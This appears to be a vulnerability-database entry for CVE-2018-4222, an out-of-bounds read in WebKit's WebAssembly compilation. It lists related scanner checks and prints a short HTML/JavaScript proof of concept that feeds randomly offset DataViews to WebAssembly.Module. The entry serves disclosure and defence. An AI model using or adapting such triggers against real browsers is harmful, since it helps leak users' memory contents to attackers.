WebKit: Info leak in WebAssembly Compilation(CVE-2018-4222)

🗓️ 08 Jun 2018 00:00:00Reported by KnownsecType

Info leak in WebAssembly Compilation (CVE-2018-4222). Out-of-bounds read vulnerability in WebKit

Reporter	Title	Published	Views	Family All 71
0day.today	WebKit - WebAssembly Compilation Info Leak Exploit	9 Jun 201800:00	–	zdt
Tenable Nessus	Apple iOS < 11.4 Multiple Vulnerabilities (EFAIL)	17 Apr 201900:00	–	nessus
Tenable Nessus	Apple TV < 11.4 Multiple Vulnerabilities	5 Jun 201800:00	–	nessus
Tenable Nessus	Apple iOS < 11.4 Multiple Vulnerabilities (EFAIL)	7 Jun 201800:00	–	nessus
Tenable Nessus	Fedora 28 : webkit2gtk3 (2018-118b9abf99)	3 Jan 201900:00	–	nessus
Tenable Nessus	Fedora 27 : webkitgtk4 (2018-aac3ca8936)	2 Jul 201800:00	–	nessus
Tenable Nessus	GLSA-201808-04 : WebkitGTK+: Multiple vulnerabilities	23 Aug 201800:00	–	nessus
Tenable Nessus	Apple iTunes < 12.7.5 Multiple Vulnerabilities (credentialed check)	6 Jun 201800:00	–	nessus
Tenable Nessus	Apple iTunes < 12.7.5 Multiple Vulnerabilities (uncredentialed check)	6 Jun 201800:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 11.1.1 Multiple Vulnerabilities	2 Jul 201900:00	–	nessus


                                                <html><body><script>
for(var q = 0; q < 100; q++){
var i = Math.random();
i = Math.round(i*0x20000000);
i = Math.abs(i);
var b2 = new Uint8Array( i);
console.log("i" + i);
var j = Math.random();
j = j*i;
j = Math.round(j);
j = Math.abs(j);
console.log("j"+j)
var view2 = new DataView(b2.buffer,j);
try{
var mod = new WebAssembly.Module(view2);
}catch(e){
console.log(e);
}
}
</script></body></html>

08 Jun 2018 00:00Current

0.4Low risk

Vulners AI Score0.4

EPSS0.55986